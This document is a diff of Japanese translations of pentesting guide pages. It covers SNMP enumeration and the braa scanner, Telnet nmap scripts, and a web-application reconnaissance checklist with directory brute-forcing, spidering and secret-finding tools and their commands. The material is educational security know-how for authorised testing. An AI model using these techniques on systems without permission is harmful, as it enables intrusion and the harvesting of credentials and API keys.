1. **`rwuser noauth`** は、認証なしで OID ツリーへの完全なアクセスを許可するように設定されています。この設定は簡単で、制限のないアクセスを可能にします。
|
||||
2. より具体的な制御のために、以下を使用してアクセスを付与できます:
|
||||
- **`rwcommunity`** は **IPv4** アドレス用、そして
|
||||
- **`rwcommunity6`** は **IPv6** アドレス用です。
|
||||
1. **`rwuser noauth`**は、認証なしでOIDツリーへの完全なアクセスを許可するように設定されています。この設定は簡単で、制限のないアクセスを可能にします。
|
||||
2. より具体的な制御のために、以下を使用してアクセスを許可できます:
|
||||
- **`rwcommunity`**は**IPv4**アドレス用、そして
|
||||
- **`rwcommunity6`**は**IPv6**アドレス用です。
|
||||
|
||||
両方のコマンドは **コミュニティ文字列** と関連する IP アドレスを必要とし、リクエストの起源に関係なく完全なアクセスを提供します。
|
||||
両方のコマンドは**コミュニティ文字列**と関連するIPアドレスを必要とし、リクエストの起源に関係なく完全なアクセスを提供します。
|
||||
|
||||
### Microsoft Windows 用の SNMP パラメータ
|
||||
### Microsoft WindowsのSNMPパラメータ
|
||||
|
||||
一連の **管理情報ベース (MIB) 値** が、SNMP を通じて Windows システムのさまざまな側面を監視するために利用されます:
|
||||
一連の**管理情報ベース(MIB)値**が、SNMPを通じてWindowsシステムのさまざまな側面を監視するために利用されます:
|
||||
|
||||
- **システムプロセス**: `1.3.6.1.2.1.25.1.6.0` を介してアクセスされ、このパラメータはシステム内のアクティブなプロセスの監視を可能にします。
|
||||
- **実行中のプログラム**: `1.3.6.1.2.1.25.4.2.1.2` の値は、現在実行中のプログラムを追跡するために指定されています。
|
||||
- **プロセスパス**: プロセスがどこから実行されているかを特定するために、`1.3.6.1.2.1.25.4.2.1.4` MIB 値が使用されます。
|
||||
- **ストレージユニット**: ストレージユニットの監視は `1.3.6.1.2.1.25.2.3.1.4` によって促進されます。
|
||||
- **ソフトウェア名**: システムにインストールされているソフトウェアを特定するために、`1.3.6.1.2.1.25.6.3.1.2` が使用されます。
|
||||
- **ユーザーアカウント**: `1.3.6.1.4.1.77.1.2.25` の値は、ユーザーアカウントの追跡を可能にします。
|
||||
- **TCP ローカルポート**: 最後に、`1.3.6.1.2.1.6.13.1.3` は TCP ローカルポートの監視に指定されており、アクティブなネットワーク接続に関する洞察を提供します。
|
||||
- **システムプロセス**:`1.3.6.1.2.1.25.1.6.0`を介してアクセスされ、このパラメータはシステム内のアクティブなプロセスの監視を可能にします。
|
||||
- **実行中のプログラム**:`1.3.6.1.2.1.25.4.2.1.2`の値は、現在実行中のプログラムを追跡するために指定されています。
|
||||
- **プロセスパス**:プロセスがどこから実行されているかを特定するために、`1.3.6.1.2.1.25.4.2.1.4`のMIB値が使用されます。
|
||||
- **ストレージユニット**:ストレージユニットの監視は`1.3.6.1.2.1.25.2.3.1.4`によって促進されます。
|
||||
- **ソフトウェア名**:システムにインストールされているソフトウェアを特定するために、`1.3.6.1.2.1.25.6.3.1.2`が使用されます。
|
||||
- **ユーザーアカウント**:`1.3.6.1.4.1.77.1.2.25`の値は、ユーザーアカウントの追跡を可能にします。
|
||||
- **TCPローカルポート**:最後に、`1.3.6.1.2.1.6.13.1.3`はTCPローカルポートの監視に指定されており、アクティブなネットワーク接続に関する洞察を提供します。
|
||||
|
||||
### Cisco
|
||||
|
||||
Cisco 機器を使用している場合は、このページを参照してください:
|
||||
Cisco機器を使用している場合は、このページを参照してください:
|
||||
|
||||
{{#ref}}
|
||||
cisco-snmp.md
|
||||
{{#endref}}
|
||||
|
||||
## SNMP から RCE へ
|
||||
## SNMPからRCEへ
|
||||
|
||||
SNMP サービス内で **値を書き込む** ことを許可する **文字列** を持っている場合、それを悪用して **コマンドを実行** できる可能性があります:
|
||||
SNMPサービス内で**値を書き込む**ことを許可する**文字列**を持っている場合、それを悪用して**コマンドを実行**できる可能性があります:
|
||||
|
||||
{{#ref}}
|
||||
snmp-rce.md
|
||||
{{#endref}}
|
||||
|
||||
## **大規模 SNMP**
|
||||
## **大規模SNMP**
|
||||
|
||||
[Braa](https://github.com/mteg/braa) は大規模 SNMP スキャナーです。このようなツールの意図された使用法は、もちろん SNMP クエリを行うことですが、net-snmp の snmpwalk とは異なり、数十または数百のホストに同時に、かつ単一のプロセスでクエリを行うことができます。したがって、非常に少ないシステムリソースを消費し、非常に速くスキャンを行います。
|
||||
[Braa](https://github.com/mteg/braa)は大規模SNMPスキャナーです。このようなツールの意図された使用法は、もちろんSNMPクエリを行うことですが、net-snmpのsnmpwalkとは異なり、数十または数百のホストに同時に、そして単一のプロセスでクエリを行うことができます。したがって、非常に少ないシステムリソースを消費し、非常に速くスキャンを行います。
|
||||
|
||||
Braa は独自の SNMP スタックを実装しているため、net-snmp のような SNMP ライブラリは必要ありません。
|
||||
Braaは独自のsnmpスタックを実装しているため、net-snmpのようなSNMPライブラリは必要ありません。
|
||||
|
||||
**構文:** braa \[Community-string]@\[IP of SNMP server]:\[iso id]
|
||||
**構文**:braa \[Community-string]@\[IP of SNMP server]:\[iso id]
|
||||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
@ -199,7 +199,7 @@ grep -i "trap" *.snmp
|
||||
```
|
||||
### **ユーザー名/パスワード**
|
||||
|
||||
MIBテーブルに保存されたログは、**ログオン試行の失敗**を調べるために検査され、これには誤ってユーザー名として入力されたパスワードが含まれる可能性があります。_fail_、_failed_、または _login_ などのキーワードが、貴重なデータを見つけるために検索されます:
|
||||
MIBテーブルに保存されたログは、**ログオン試行の失敗**を調べるために検査され、これにはユーザー名として入力されたパスワードが偶然含まれることがあります。_fail_、_failed_、または _login_ などのキーワードが、貴重なデータを見つけるために検索されます:
|
||||
```bash
|
||||
grep -i "login\|fail" *.snmp
|
||||
```
|
||||
@ -223,6 +223,7 @@ ACLが特定のIPのみがSNMPサービスをクエリできるように制限
|
||||
- snmpd.conf
|
||||
- snmp-config.xml
|
||||
|
||||
|
||||
## HackTricks自動コマンド
|
||||
```
|
||||
Protocol_Name: SNMP #Protocol Abbreviation if there is one.
|
||||
|
@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
||||
```
|
||||
スクリプト `telnet-ntlm-info.nse` は NTLM 情報 (Windows バージョン) を取得します。
|
||||
|
||||
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) より: TELNET プロトコルには、ユーザーとサーバーが TELNET 接続のためのより複雑な(または単に異なる)慣習のセットを使用することに合意できるようにするために、"**DO, DON'T, WILL, WON'T**" 構造で使用されるさまざまな "**options**" が含まれています。これらのオプションには、文字セットの変更、エコーモードの変更などが含まれる可能性があります。
|
||||
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) より: TELNET プロトコルには、ユーザーとサーバーが TELNET 接続のためにより複雑な(または単に異なる)一連の規約を使用することに合意できるようにするために、"**DO, DON'T, WILL, WON'T**" 構造で使用されるさまざまな "**options**" が含まれています。これらのオプションには、文字セットの変更、エコーモードの変更などが含まれる可能性があります。
|
||||
|
||||
**このオプションを列挙することが可能であることは知っていますが、方法がわからないので、知っている場合は教えてください。**
|
||||
|
||||
|
@ -25,20 +25,20 @@ web-api-pentesting.md
|
||||
|
||||
## Methodology summary
|
||||
|
||||
> この方法論では、あなたがドメイン(またはサブドメイン)を攻撃することを前提としています。そのため、発見された各ドメイン、サブドメイン、または不明なウェブサーバーを持つIPにこの方法論を適用する必要があります。
|
||||
> この方法論では、あなたがドメイン(またはサブドメイン)を攻撃することを前提としています。そのため、発見された各ドメイン、サブドメイン、または範囲内の不明なウェブサーバーを持つIPにこの方法論を適用する必要があります。
|
||||
|
||||
- [ ] **技術**を**特定**することから始めます。技術を特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。
|
||||
- [ ] **技術**を**特定**することから始めます。ウェブサーバーによって使用されている**技術**を特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。
|
||||
- [ ] 技術のバージョンに**既知の脆弱性**はありますか?
|
||||
- [ ] **よく知られた技術**を使用していますか?より多くの情報を抽出するための**便利なトリック**はありますか?
|
||||
- [ ] 実行するための**専門のスキャナー**はありますか(例えば、wpscan)?
|
||||
- [ ] **一般的なスキャナー**を起動します。何かを見つけるか、興味深い情報を見つけるかはわかりません。
|
||||
- [ ] **初期チェック**から始めます:**robots**、**sitemap**、**404**エラー、**SSL/TLSスキャン**(HTTPSの場合)。
|
||||
- [ ] ウェブページの**スパイダー**を開始します:すべての可能な**ファイル、フォルダー**、および**使用されているパラメータ**を**見つける**時間です。また、**特別な発見**を確認します。
|
||||
- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見されるたびに、それをスパイダーする必要があります。_
|
||||
- [ ] ウェブページを**スパイダー**します:すべての可能な**ファイル、フォルダー**、および**使用されているパラメーター**を**見つける**時間です。また、**特別な発見**を確認します。
|
||||
- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずスパイダーする必要があります。_
|
||||
- [ ] **ディレクトリブルートフォース**:発見されたすべてのフォルダーをブルートフォースして、新しい**ファイル**や**ディレクトリ**を探します。
|
||||
- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見されるたびに、それをブルートフォースする必要があります。_
|
||||
- [ ] **バックアップチェック**:一般的なバックアップ拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけられるかテストします。
|
||||
- [ ] **パラメータのブルートフォース**:**隠れたパラメータ**を**見つける**ことを試みます。
|
||||
- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずブルートフォースする必要があります。_
|
||||
- [ ] **バックアップの確認**:一般的なバックアップ拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけられるかテストします。
|
||||
- [ ] **パラメーターのブルートフォース**:**隠れたパラメーター**を**見つける**ことを試みます。
|
||||
- [ ] **ユーザー入力**を受け入れるすべての可能な**エンドポイント**を**特定**したら、それに関連するすべての種類の**脆弱性**を確認します。
|
||||
- [ ] [このチェックリストに従ってください](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
@ -47,7 +47,7 @@ web-api-pentesting.md
|
||||
### Identify
|
||||
|
||||
実行中のサーバー**バージョン**に**既知の脆弱性**があるか確認します。\
|
||||
**HTTPヘッダーとレスポンスのクッキー**は、使用されている**技術**や**バージョン**を**特定**するのに非常に役立ちます。**Nmapスキャン**はサーバーバージョンを特定できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、** [**webtech** ](https://github.com/ShielderSec/webtech)または [**https://builtwith.com/**](https://builtwith.com)**のツールも役立つかもしれません:**
|
||||
**HTTPヘッダーとレスポンスのクッキー**は、使用されている**技術**や**バージョン**を**特定**するのに非常に役立ちます。**Nmapスキャン**はサーバーバージョンを特定できますが、ツール[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、** [**webtech** ](https://github.com/ShielderSec/webtech)または[**https://builtwith.com/**](https://builtwith.com)**も役立ちます:
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
@ -98,18 +98,18 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
|
||||
- [**Wordpress**](wordpress.md)
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
|
||||
_同じドメインが異なる**ポート**、**フォルダ**、および**サブドメイン**で異なる**技術**を使用している可能性があることに注意してください。_\
|
||||
_同じドメインが異なる**ポート**、**フォルダ**、および**サブドメイン**で**異なる技術**を使用している可能性があることに注意してください。_\
|
||||
ウェブアプリケーションが前述の**技術/プラットフォーム**や**その他の技術**を使用している場合は、**インターネットで新しいトリックを検索する**ことを忘れないでください(そして教えてください!)。
|
||||
|
||||
### Source Code Review
|
||||
|
||||
アプリケーションの**ソースコード**が**github**で利用可能な場合、アプリケーションの**ホワイトボックステスト**を自分で実施することに加えて、現在の**ブラックボックステスト**に役立つ**情報**がいくつかあります:
|
||||
|
||||
- **Change-log**や**Readme**、**Version**ファイル、またはウェブ経由でアクセス可能な**バージョン情報**を含むものはありますか?
|
||||
- **資格情報**はどのように、どこに保存されていますか? **資格情報**(ユーザー名やパスワード)が含まれる(アクセス可能な?)**ファイル**はありますか?
|
||||
- **Change-log**や**Readme**、**Version**ファイル、または**バージョン情報にアクセス可能な**ものはありますか?
|
||||
- **認証情報**はどのように、どこに保存されていますか? **認証情報**(ユーザー名やパスワード)が含まれる(アクセス可能な?)**ファイル**はありますか?
|
||||
- **パスワード**は**プレーンテキスト**、**暗号化**されていますか、それともどの**ハッシュアルゴリズム**が使用されていますか?
|
||||
- 何かを暗号化するために**マスターキー**を使用していますか? どの**アルゴリズム**が使用されていますか?
|
||||
- いくつかの脆弱性を利用して**これらのファイルのいずれかにアクセス**できますか?
|
||||
- いくつかの脆弱性を悪用して**これらのファイルにアクセス**できますか?
|
||||
- **github**に**興味深い情報**(解決済みおよび未解決の)**問題**はありますか? または**コミット履歴**に(古いコミット内に**導入されたパスワード**など)?
|
||||
|
||||
{{#ref}}
|
||||
@ -135,7 +135,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
||||
CMSが使用されている場合は、**スキャナーを実行する**ことを忘れないでください。もしかしたら何か興味深いものが見つかるかもしれません:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin**のセキュリティ問題を検出します。(GUI)\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** ウェブサイトのセキュリティ問題。(GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **または** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
@ -145,7 +145,7 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> この時点で、クライアントが使用しているウェブサーバーに関する情報(もしデータが提供されていれば)や、テスト中に留意すべきいくつかのトリックを持っているはずです。運が良ければ、CMSを見つけてスキャナーを実行したかもしれません。
|
||||
> この時点で、クライアントが使用しているウェブサーバーに関する情報(データが提供されている場合)や、テスト中に考慮すべきいくつかのトリックを持っているはずです。運が良ければ、CMSを見つけてスキャナーを実行したかもしれません。
|
||||
|
||||
## ステップバイステップのウェブアプリケーション発見
|
||||
|
||||
@ -166,12 +166,12 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
|
||||
ウェブサーバーは、奇妙なデータが送信されると**予期しない動作**をすることがあります。これにより、**脆弱性**や**機密情報の漏洩**が発生する可能性があります。
|
||||
|
||||
- /whatever_fake.php(.aspx、.html、など)のような**偽ページ**にアクセスする
|
||||
- /whatever_fake.php (.aspx,.html,.etc)のような**偽ページ**にアクセスする
|
||||
- **クッキー値**や**パラメータ**値に**"\[]", "]]", および "\[\["**を追加してエラーを作成する
|
||||
- **URL**の**最後**に**`/~randomthing/%s`**として入力を与えてエラーを生成する
|
||||
- PATCH、DEBUG、またはFAKEのような**異なるHTTP動詞**を試す
|
||||
|
||||
#### **ファイルをアップロードできるか確認する(**[**PUT動詞、WebDav**](put-method-webdav.md)**)**
|
||||
#### **ファイルをアップロードできるか確認する(**[**PUT動詞, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
**WebDav**が**有効**であるが、ルートフォルダーに**ファイルをアップロードする**ための十分な権限がない場合は、次のことを試みてください:
|
||||
|
||||
@ -181,7 +181,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
### **SSL/TLSの脆弱性**
|
||||
|
||||
- アプリケーションがどの部分でも**HTTPSの使用を強制していない**場合、**MitM**に対して**脆弱**です。
|
||||
- アプリケーションが**HTTPを使用して機密データ(パスワード)を送信している**場合、それは高い脆弱性です。
|
||||
- アプリケーションが**HTTPを使用して機密データ(パスワード)を送信している**場合、これは高い脆弱性です。
|
||||
|
||||
[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックし(バグバウンティプログラムではこの種の脆弱性は受け入れられない可能性があります)、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再確認してください:
|
||||
```bash
|
||||
@ -204,16 +204,16 @@ SSL/TLSの脆弱性に関する情報:
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTMLスパイダー、JSファイル内のLinkFinderおよび外部ソース(Archive.org、CommonCrawl.org、VirusTotal.com、AlienVault.com)。
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイル用のLinkFinderおよび外部ソースとしてArchive.orgを使用。
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTMLスパイダー、「おいしいファイル」も示します。
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): インタラクティブCLI HTMLスパイダー。Archive.orgでも検索します。
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、役立つことがあります。ホストのファイルとパスのファイルを指定するだけで、megは各ホストの各パスを取得し、レスポンスを保存します。
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): インタラクティブCLI HTMLスパイダー。Archive.org内も検索します。
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、有用です。ホストのファイルとパスのファイルを指定すると、megは各ホストの各パスを取得し、応答を保存します。
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JSレンダリング機能を持つHTMLスパイダー。ただし、メンテナンスされていないようで、事前コンパイルされたバージョンは古く、現在のコードはコンパイルされません。
|
||||
- [**gau**](https://github.com/lc/gau) (go): 外部プロバイダー(wayback、otx、commoncrawl)を使用するHTMLスパイダー。
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトは、パラメータを持つURLを見つけてリストします。
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): JSレンダリング機能を持つHTMLスパイダー。
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTMLスパイダー、JSファイル内の新しいパスを検索できるJSビューティファイ機能を持っています。LinkFinderのラッパーである[JSScanner](https://github.com/dark-warlord14/JSScanner)も見る価値があります。
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込まれたJavaScriptファイルの両方からエンドポイントを抽出します。バグハンター、レッドチーム、インフォセキュリティの忍者に役立ちます。
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに役立ちます。メンテナンスされていないようです。
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイル(HTML)を与えると、巧妙な正規表現を使用して相対URLを抽出します。
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込まれたJavaScriptファイルの両方からエンドポイントを抽出します。バグハンター、レッドチーム、インフォセキュリティの忍者に便利です。
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに便利です。メンテナンスされていないようです。
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイル(HTML)を与えると、巧妙な正規表現を使用して、醜い(ミニファイされた)ファイルから相対URLを見つけて抽出します。
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、いくつかのツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します。
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます。
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むためにロードされたすべてのURLを印刷します。
|
||||
@ -221,9 +221,9 @@ SSL/TLSの脆弱性に関する情報:
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイル内のパスとパラメータを見つけるためのBurp拡張機能。
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、ビューティファイドJSコードを取得するツール。
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 特定のターゲットのエンドポイントを発見するために使用されるツールです。
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Waybackマシンからリンクを発見します(レスポンスをダウンロードし、さらにリンクを探します)。
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Waybackマシンからリンクを発見します(応答をダウンロードし、さらにリンクを探します)。
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームを埋めることによるクロールや、特定の正規表現を使用して機密情報を見つけます。
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suiteは、サイバーセキュリティ専門家向けに設計された高度なマルチ機能GUIウェブセキュリティクロウラー/スパイダーです。
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suiteは、サイバーセキュリティ専門家向けに設計された高度なマルチ機能GUIウェブセキュリティクローラー/スパイダーです。
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL、パス、シークレット、その他の興味深いデータをJavaScriptソースコードから抽出するためのGoパッケージおよび[コマンドラインツール](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)です。
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForgeは、リクエストからパラメータとエンドポイントを抽出し、ファジングと列挙のためのカスタムワードリストを作成するためのシンプルな**Burp Suite拡張機能**です。
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): これに最適な素晴らしいツールです。
|
||||
@ -231,18 +231,18 @@ SSL/TLSの脆弱性に関する情報:
|
||||
|
||||
### ディレクトリとファイルのブルートフォース
|
||||
|
||||
ルートフォルダから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**ディレクトリをブルートフォースすることを確認してください(このブルートフォースは**再帰的に**行うことができ、使用するワードリストの先頭に見つかったディレクトリの名前を追加します)。\
|
||||
ルートフォルダーから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースは**再帰的に**行うことができ、使用するワードリストの先頭に見つかったディレクトリの名前を追加します)。\
|
||||
ツール:
|
||||
|
||||
- **Dirb** / **Dirbuster** - Kaliに含まれており、**古い**(および**遅い**)ですが機能します。自己署名証明書と再帰検索を許可します。他のオプションと比較して遅すぎます。
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可されていませんが**、再帰検索を許可します。
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、**再帰的**検索は**ありません**。
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、**再帰的**検索はありません。
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速、再帰検索をサポートします。**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- 高速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): これはスパイダーではありませんが、見つかったURLのリストを与えると「重複」URLを削除します。
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 異なるページのburp履歴からディレクトリのリストを作成するためのBurp拡張機能。
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): JSインポートに基づいて重複機能を持つURLを削除します。
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 機能が重複しているURLを削除します(jsインポートに基づく)。
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): 使用されている技術を検出するためにwapalyzerを使用し、使用するワードリストを選択します。
|
||||
|
||||
**推奨辞書:**
|
||||
@ -268,7 +268,7 @@ _ブルートフォースやスパイダーリング中に新しいディレク
|
||||
|
||||
### 見つかった各ファイルで確認すべきこと
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML内の壊れたリンクを見つけ、乗っ取りの危険があるかもしれません。
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 乗っ取りの危険があるHTML内の壊れたリンクを見つけます。
|
||||
- **ファイルバックアップ**: すべてのファイルを見つけたら、すべての実行可能ファイル("_.php_", "_.aspx_"...)のバックアップを探します。バックアップの命名に一般的なバリエーションは次のとおりです: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmpおよびfile.old._ また、[**bfac**](https://github.com/mazen160/bfac) **または** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**を使用できます。**
|
||||
- **新しいパラメータを発見**: [**Arjun**](https://github.com/s0md3v/Arjun)**、** [**parameth**](https://github.com/maK-/parameth)**、** [**x8**](https://github.com/sh1yo/x8) **および** [**Param Miner**](https://github.com/PortSwigger/param-miner) **を使用して隠れたパラメータを発見できます。可能であれば、各実行可能ウェブファイルで隠れたパラメータを検索してみてください。**
|
||||
- _Arjunのすべてのデフォルトワードリスト:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
@ -277,27 +277,27 @@ _ブルートフォースやスパイダーリング中に新しいディレク
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **コメント:** すべてのファイルのコメントを確認してください。**認証情報**や**隠れた機能**を見つけることができます。
|
||||
- **CTF**をプレイしている場合、「一般的な」トリックは、ページの**右側**に**情報**を**隠す**ことです(**数百**の**スペース**を使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。もう一つの可能性は、**いくつかの新しい行**を使用して、ウェブページの**下部**にコメントで**情報を隠す**ことです。
|
||||
- **APIキー**: もし**APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**、** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**、** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- **APIキー**: **APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**、** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**、** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google APIキー: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、キーがアクセスできるAPIを確認できます。
|
||||
- **S3バケット**: スパイダーリング中に、**サブドメイン**や**リンク**が**S3バケット**に関連しているかどうかを確認してください。その場合、[**バケットの**権限を**確認**してください](buckets/index.html)。
|
||||
|
||||
### 特別な発見
|
||||
|
||||
**スパイダーリング**と**ブルートフォース**を実行している間に、**興味深い****もの**を**見つける**ことがあります。
|
||||
**スパイダーリング**と**ブルートフォース**を実行している間に、**興味深い****もの**を**見つける**ことができます。
|
||||
|
||||
**興味深いファイル**
|
||||
|
||||
- **CSS**ファイル内の他のファイルへの**リンク**を探します。
|
||||
- [**.git**_ファイルを見つけた場合、いくつかの情報を抽出できます](git.md)
|
||||
- _**.env**_を見つけた場合、APIキー、DBパスワードなどの情報が見つかる可能性があります。
|
||||
- [**.git**ファイルを見つけた場合、いくつかの情報を抽出できます](git.md)
|
||||
- **.env**を見つけた場合、APIキー、DBパスワードなどの情報が見つかる可能性があります。
|
||||
- **APIエンドポイント**を見つけた場合、[それらもテストする必要があります](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように見える」でしょう。
|
||||
- **JSファイル**: スパイダーリングセクションでは、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、変更があった場合、コードに潜在的な脆弱性が導入されたことを示す可能性があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。**
|
